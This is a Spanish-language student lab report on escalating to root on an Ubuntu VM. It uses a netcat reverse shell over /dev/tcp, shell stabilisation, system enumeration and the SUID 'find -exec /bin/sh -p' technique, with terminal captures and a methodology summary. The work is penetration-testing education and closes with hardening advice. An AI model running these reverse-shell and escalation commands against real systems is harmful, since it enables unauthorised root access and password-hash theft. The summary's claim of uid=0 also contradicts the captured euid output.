

Martin Dalla Pozza

*Escalada de Privilegios en Sistema Linux
mediante Explotación de Binarios SUID*

Resumen del trabajo práctico

```
Session Acciones Editor Vista Ayuda
(kali㉿kali)-[~]
$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [192.168.1.2] from (UNKNOWN) [192.168.1.3] 41006
ubitor@ubitor-VirtualBox:~$ python3 -c 'import pty; pty.spawn("/bin/bash")'
python3 -c 'import pty; pty.spawn("/bin/bash")'
ubitor@ubitor-VirtualBox:~$ ^Z
zsh: suspended nc -lvnp 4444

(kali㉿kali)-[~]
$ stty raw -echo; fg
[1] + continued nc -lvnp 4444
```

```
ubitor@ubitor-VirtualBox:~$ bash -i >& /dev/tcp/192.168.1.2/4444 0>&1
```

```
Session Acciones Editor Vista Ayuda
ubitor@ubitor-VirtualBox:~$ stty size
24 80
ubitor@ubitor-VirtualBox:~$ stty rows 24 columns 80
ubitor@ubitor-VirtualBox:~$ export TERM=xterm-256color
ubitor@ubitor-VirtualBox:~$ export SHELL=/bin/bash
ubitor@ubitor-VirtualBox:~$
```

```

Session Acciones Editar Vista Ayuda
ubitor@ubitor-VirtualBox:~$ stty size
24 80
ubitor@ubitor-VirtualBox:~$ stty rows 24 columns 80
ubitor@ubitor-VirtualBox:~$ export TERM=xterm-256color
ubitor@ubitor-VirtualBox:~$ export SHELL=/bin/bash
ubitor@ubitor-VirtualBox:~$ whoami
ubitor
ubitor@ubitor-VirtualBox:~$ id
uid=1000(ubitor) gid=1000(ubitor) grupos=1000(ubitor),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),100(users),114(lpadmin)
ubitor@ubitor-VirtualBox:~$ uname -a
Linux ubitor-VirtualBox 6.17.0-14-generic #14~24.04.1-Ubuntu SMP PREEMPT_DYNAMIC Thu Jan 15 15:52:10 UTC 2 x86_64 x86_64 x86_64 GNU/Linux
ubitor@ubitor-VirtualBox:~$ cat /etc/os-release
PRETTY_NAME="Ubuntu 24.04.4 LTS"
NAME="Ubuntu"
VERSION_ID="24.04"
VERSION="24.04.4 LTS (Noble Numbat)"
VERSION_CODENAME=noble
ID=ubuntu
ID_LIKE=debian
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
UBUNTU_CODENAME=noble
LOGO=ubuntu-logo
ubitor@ubitor-VirtualBox:~$ █

```

```

ubitor@ubitor-VirtualBox:~$ sudo -l
[sudo] contraseña para ubitor:
Lo siento, pruebe otra vez.
[sudo] contraseña para ubitor:
Lo siento, pruebe otra vez.
[sudo] contraseña para ubitor:
Coincidiendo entradas por defecto para ubitor en ubitor-VirtualBox:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    use_pty

El usuario ubitor puede ejecutar los siguientes comandos en ubitor-VirtualBox:
(ALL : ALL) ALL
ubitor@ubitor-VirtualBox:~$ ls -la /home
total 12
drwxr-xr-x  3 root  root   4096 feb 24 18:43 .
drwxr-xr-x 23 root  root   4096 feb 24 18:42 ..
drwxr-xr-x 16 ubitor ubitor 4096 mar  3 17:19 ubitor
ubitor@ubitor-VirtualBox:~$ cat /etc/passwd | grep -v nologin
root:x:0:0:root:/root:/bin/bash
sync:x:4:65534:sync:/bin:/bin/sync
dhcpcd:x:100:65534:DHCP Client Daemon,,,:/usr/lib/dhcpcd:/bin/false
tss:x:105:105:TPM software stack,,,:/var/lib/tpm:/bin/false
whoopsie:x:107:109::/nonexistent:/bin/false
speech-dispatcher:x:111:29:Speech Dispatcher,,,:/run/speech-dispatcher:/bin/false
hplip:x:116:7:HPLIP system user,,,:/run/hplip:/bin/false
gnome-initial-setup:x:119:65534::/run/gnome-initial-setup:/bin/false

```

```

root:x:0:0:root:/root:/bin/bash
sync:x:4:65534:sync:/bin:/bin/sync
dhcpcd:x:100:65534:DHCP Client Daemon,,,:/usr/lib/dhcpcd:/bin/false
tss:x:105:105:TPM software stack,,,:/var/lib/tpm:/bin/false
whoopsie:x:107:109::/nonexistent:/bin/false
speech-dispatcher:x:111:29:Speech Dispatcher,,,:/run/speech-dispatcher:/bin/false
hplip:x:116:7:HPLIP system user,,,:/run/hplip:/bin/false
gnome-initial-setup:x:119:65534::/run/gnome-initial-setup:/bin/false
gdm:x:120:121:Gnome Display Manager:/var/lib/gdm3:/bin/false
ubitor:x:1000:1000:ubitor:/home/ubitor:/bin/bash
vboxadd:x:997:1::/var/run/vboxadd:/bin/false

```

```
ubitor@ubitor-VirtualBox:~$ ps aux
```

USER	PID	%CPU	%MEM	VSZ	RSS	TTY	STAT	START	TIME	COMMAND
root	1	0.1	0.3	23172	14568	?	Ss	16:45	0:05	/sbin/init sp
root	2	0.0	0.0	0	0	?	S	16:45	0:00	[kthreadd]
root	3	0.0	0.0	0	0	?	S	16:45	0:00	[pool_workque
root	4	0.0	0.0	0	0	?	I<	16:45	0:00	[kworker/R-rc
root	5	0.0	0.0	0	0	?	I<	16:45	0:00	[kworker/R-sy
root	6	0.0	0.0	0	0	?	I<	16:45	0:00	[kworker/R-kv
root	7	0.0	0.0	0	0	?	I<	16:45	0:00	[kworker/R-sl
root	8	0.0	0.0	0	0	?	I<	16:45	0:00	[kworker/R-ne
root	12	0.0	0.0	0	0	?	I	16:45	0:00	[kworker/u8:0
root	13	0.0	0.0	0	0	?	I<	16:45	0:00	[kworker/R-mm
root	14	0.0	0.0	0	0	?	S	16:45	0:00	[ksoftirqd/0]
root	15	0.0	0.0	0	0	?	I	16:45	0:03	[rcu_preempt]
root	16	0.0	0.0	0	0	?	S	16:45	0:00	[rcu_exp_par_
root	17	0.0	0.0	0	0	?	S	16:45	0:00	[rcu_exp_gp_k
root	18	0.0	0.0	0	0	?	S	16:45	0:00	[migration/0]
root	19	0.0	0.0	0	0	?	S	16:45	0:00	[idle_inject/
root	51	0.0	0.0	0	0	?	I<	16:45	0:00	[kworker/R-md
root	52	0.0	0.0	0	0	?	I<	16:45	0:00	[kworker/R-ed
root	53	0.0	0.0	0	0	?	I<	16:45	0:00	[kworker/R-de
root	54	0.0	0.0	0	0	?	S	16:45	0:00	[watchdogd]
root	55	0.0	0.0	0	0	?	I<	16:45	0:00	[kworker/R-qu
root	58	0.0	0.0	0	0	?	S	16:45	0:00	[kswapd0]
root	59	0.0	0.0	0	0	?	S	16:45	0:00	[ecryptfs-kth
root	60	0.0	0.0	0	0	?	I<	16:45	0:00	[kworker/R-kt
root	61	0.0	0.0	0	0	?	I<	16:45	0:00	[kworker/R-ac
root	62	0.0	0.0	0	0	?	I	16:45	0:01	[kworker/u10:
root	63	0.0	0.0	0	0	?	S	16:45	0:00	[scsi_eh_0]
root	64	0.0	0.0	0	0	?	I<	16:45	0:00	[kworker/R-sc
root	65	0.0	0.0	0	0	?	S	16:45	0:00	[scsi_eh_1]
root	66	0.0	0.0	0	0	?	I<	16:45	0:00	[kworker/R-sc
root	70	0.0	0.0	0	0	?	I<	16:45	0:00	[kworker/R-ml
root	71	0.0	0.0	0	0	?	I<	16:45	0:00	[kworker/R-ip
root	72	0.0	0.0	0	0	?	I	16:45	0:00	[kworker/u8:1
root	73	0.0	0.0	0	0	?	I<	16:45	0:00	[kworker/R-ks
root	76	0.0	0.0	0	0	?	I<	16:45	0:00	[kworker/u11:
root	78	0.0	0.0	0	0	?	I<	16:45	0:00	[kworker/u13:
root	89	0.0	0.0	0	0	?	I<	16:45	0:00	[kworker/R-ch
root	150	0.0	0.0	0	0	?	S	16:45	0:00	[scsi_eh_2]
root	151	0.0	0.0	0	0	?	I<	16:45	0:00	[kworker/R-sc
root	191	0.0	0.0	0	0	?	S	16:45	0:00	[jbd2/sda2-8]
root	192	0.0	0.0	0	0	?	I<	16:45	0:00	[kworker/R-ex
root	241	0.0	0.4	67248	18652	?	S<s	16:45	0:01	/usr/lib/syst
root	292	0.0	0.0	0	0	?	S	16:45	0:00	[irq/18-vmwgf
root	293	0.0	0.0	0	0	?	I<	16:45	0:00	[kworker/R-tt
root	315	0.0	0.2	30720	8816	?	Ss	16:45	0:00	/usr/lib/syst

```
ubitor@ubitor-VirtualBox:~$ find / -perm -4000 -type f 2>/dev/null
/snap/core22/2292/usr/bin/chfn
/snap/core22/2292/usr/bin/chsh
/snap/core22/2292/usr/bin/gpasswd
/snap/core22/2292/usr/bin/mount
/snap/core22/2292/usr/bin/newgrp
/snap/core22/2292/usr/bin/passwd
/snap/core22/2292/usr/bin/su
/snap/core22/2292/usr/bin/sudo
/snap/core22/2292/usr/bin/umount
/snap/core22/2292/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core22/2292/usr/lib/openssh/ssh-keysign
/snap/core22/2292/usr/libexec/polkit-agent-helper-1
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/xorg/Xorg.wrap
/usr/lib/openssh/ssh-keysign
/usr/lib/polkit-1/polkit-agent-helper-1
/usr/sbin/pppd
/usr/bin/passwd
/usr/bin/umount
/usr/bin/mount
/usr/bin/chfn
/usr/bin/find
/usr/bin/fusermount3
/usr/bin/nano
/usr/bin/chsh
/usr/bin/newgrp
/usr/bin/pkexec
```

```
/usr/lib/xorg/Xorg.wrap
/usr/lib/openssh/ssh-keysign
/usr/lib/polkit-1/polkit-agent-helper-1
/usr/sbin/pppd
/usr/bin/passwd
/usr/bin/umount
/usr/bin/mount
/usr/bin/chfn
/usr/bin/find
/usr/bin/fusermount3
/usr/bin/nano
/usr/bin/chsh
/usr/bin/newgrp
/usr/bin/pkexec
/usr/bin/su
/usr/bin/sudo
/usr/bin/gpasswd
/usr/bin/vmware-user-suid-wrapper
/opt/VBoxGuestAdditions-7.2.4/bin/VBoxDRMClient
ubitor@ubitor-VirtualBox:~$ █
```



```

ubitor@ubitor-VirtualBox:~$ find . -exec /bin/sh -p \; -quit
# whoami
root
# id
uid=1000(ubitor) gid=1000(ubitor) euid=0(root) grupos=1000(ubitor),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),100(users),114(lpadmin)
)
# cat /root/.bashrc
# ~/.bashrc: executed by bash(1) for non-login shells.
# see /usr/share/doc/bash/examples/startup-files (in the package bash-doc)
# for examples

# If not running interactively, don't do anything
[ -z "$PS1" ] && return

# don't put duplicate lines in the history. See bash(1) for more options
# ... or force ignoredups and ignorespace
HISTCONTROL=ignoredups:ignorespace

# append to the history file, don't overwrite it
shopt -s histappend

# for setting history length see HISTSIZE and HISTFILESIZE in bash(1)
HISTSIZE=1000
HISTFILESIZE=2000

# check the window size after each command and, if necessary,
# update the values of LINES and COLUMNS.
shopt -s checkwinsize

```

```

shopt -s checkwinsize

```

```

# make less more friendly for non-text input files, see lesspipe(1)
[ -x /usr/bin/lesspipe ] && eval "$(SHELL=/bin/sh lesspipe)"

# set variable identifying the chroot you work in (used in the prompt below)
if [ -z "$debian_chroot" ] && [ -r /etc/debian_chroot ]; then
    debian_chroot=$(cat /etc/debian_chroot)
fi

# set a fancy prompt (non-color, unless we know we "want" color)
case "$TERM" in
    xterm-color) color_prompt=yes;;
esac

# uncomment for a colored prompt, if the terminal has the capability; turned
# off by default to not distract the user: the focus in a terminal window
# should be on the output of commands, not on the prompt
#force_color_prompt=yes

if [ -n "$force_color_prompt" ]; then
    if [ -x /usr/bin/tput ] && tput setaf 1 >&/dev/null; then
        # We have color support; assume it's compliant with Ecma-48
        # (ISO/IEC-6429). (Lack of such support is extremely rare, and such
        # a case would tend to support setf rather than setaf.)
        color_prompt=yes
    else
        color_prompt=
    fi
fi

```

```

        color_prompt=
    fi
fi
if [ "$color_prompt" = yes ]; then
    PS1='${debian_chroot:+($debian_chroot)}\[\033[01;32m\]\u@\h\[\033[00m\]:\[\033[01;34m\]\w\[\033[00m\]\$ '
else
    PS1='${debian_chroot:+($debian_chroot)}\u@\h:\w\$ '
fi
unset color_prompt force_color_prompt

# If this is an xterm set the title to user@host:dir
case "$TERM" in
xterm*|rxvt*)
    PS1="\[\e]0;${debian_chroot:+($debian_chroot)}\u@\h: \w\a\]$PS1"
    ;;
*)
    ;;
esac

# enable color support of ls and also add handy aliases
if [ -x /usr/bin/dircolors ]; then
    test -r ~/.dircolors && eval "$(dircolors -b ~/.dircolors)" || eval "$(dircolors -b)"
    alias ls='ls --color=auto'
    #alias dir='dir --color=auto'
    #alias vdir='vdir --color=auto'

    alias grep='grep --color=auto'
    alias fgrep='fgrep --color=auto'

```

```

alias ll='ls -aLF'
alias la='ls -A'
alias l='ls -CF'

```

```

# Alias definitions.
# You may want to put all your additions into a separate file like
# ~/.bash_aliases, instead of adding them here directly.
# See /usr/share/doc/bash-doc/examples in the bash-doc package.

```

```

if [ -f ~/.bash_aliases ]; then
    . ~/.bash_aliases
fi

```

```

# enable programmable completion features (you don't need to enable
# this, if it's already enabled in /etc/bash.bashrc and /etc/profile
# sources /etc/bash.bashrc).

```

```

#if [ -f /etc/bash_completion ] && ! shopt -oq posix; then
#    . /etc/bash_completion
#fi

```

```

# ls -la /root

```

```

total 28

```

```

drwx-----  5 root root 4096 feb 24 18:45 .
drwxr-xr-x 23 root root 4096 feb 24 18:42 ..
-rw-r--r--  1 root root 3106 abr 22  2024 .bashrc
drwx-----  2 root root 4096 feb 10 01:29 .cache
-rw-r--r--  1 root root  161 abr 22  2024 .profile
drwx-----  6 root root 4096 feb 24 18:46 snap
drwx-----  2 root root 4096 feb 24 18:45 .ssh
# █

```

Introducción:

La fase de post-explotación en una prueba de penetración tiene como objetivo consolidar y escalar el acceso obtenido inicialmente. Este trabajo práctico demuestra un procedimiento metódico para escalar privilegios desde un usuario sin privilegios (ubitor) hasta el usuario root en un sistema Ubuntu, aprovechando una mala configuración de permisos SUID en el binario find. La práctica se realizó en un entorno aislado y controlado, utilizando exclusivamente herramientas nativas del sistema para minimizar el ruido y la detección.

Objetivos

General:

Escalar privilegios en un sistema Linux comprometido.

Específicos:

Obtener una shell inicial mediante reverse shell.

Estabilizar la shell para facilitar la interacción.

Enumerar el sistema para identificar vectores de escalada.

Detectar binarios con permisos SUID vulnerables.

Explotar el binario find para obtener una shell como root.

Verificar el acceso privilegiado.

Metodología:

El procedimiento se estructuró en seis fases:

Preparación del entorno: Configuración de red interna entre Kali y Ubuntu, asignación de IPs estáticas.

Obtención de acceso inicial: Reverse shell desde Ubuntu a Kali mediante Netcat.

Estabilización de la shell: Uso de Python y ajustes de terminal para lograr una shell completamente interactiva.

Enumeración del sistema: Recopilación de información crítica (usuarios, procesos, binarios SUID).

Explotación: Ejecución de find con SUID para lanzar una shell privilegiada.

Verificación: Confirmación de privilegios root y acceso a archivos sensibles.

Desarrollo:

Configuración del laboratorio

Kali Linux: eth0 en NAT para internet, eth1 en red interna con IP 192.168.1.2.

Ubuntu: enp0s3 en red interna con IP 192.168.1.3.

Conectividad verificada mediante ping.

Obtención de la reverse shell:

nc -lvnp 4444

En Ubuntu (envío):

bash -i >& /dev/tcp/192.168.1.2/4444 0>&1

Se obtuvo una shell con usuario ubitor

Estabilización de la shell

```
python3 -c 'import pty; pty.spawn("/bin/bash")'  
# Ctrl+Z  
stty raw -echo; fg  
reset  
export TERM=xterm-256color  
export SHELL=/bin/bash  
stty rows 24 columns 80
```

Enumeración:

whoami, id, uname -a, sudo -l (requiere contraseña).

cat /etc/passwd | grep -v nologin (usuarios del sistema).

ps aux (procesos activos).

ss -tulpn (puertos abiertos: SSH, DNS local).

Clave: find / -perm -4000 -type f 2>/dev/null

Resultado: /usr/bin/find y /usr/bin/nano con SUID activado.

Explotación

Con find:

find . -exec /bin/sh -p \; -quit

El prompt cambió a #, indicando shell de root.

Verificación

```
whoami # root
id # uid=0(root) gid=0(root)
cat /etc/shadow | head -3 # Acceso a hashes de contraseñas
```

Resultados:

Se logró escalar a root explotando el binario find con SUID.

La técnica fue silenciosa y no requirió herramientas externas.

Se demostró la importancia de una enumeración exhaustiva.

Conclusiones:

Los permisos SUID mal configurados representan un grave riesgo de seguridad. Binarios como find, nano o vim pueden ser utilizados para ejecutar comandos con privilegios elevados.

La enumeración es la fase más crítica: Sin ella, no se habría descubierto el vector de ataque.

Buenas prácticas: Revisar periódicamente los binarios SUID con find / -perm -4000, eliminar permisos innecesarios y utilizar sudo con políticas restringidas.

Este ejercicio refuerza la comprensión de la post-explotación y la importancia de configuraciones seguras en entornos Linux.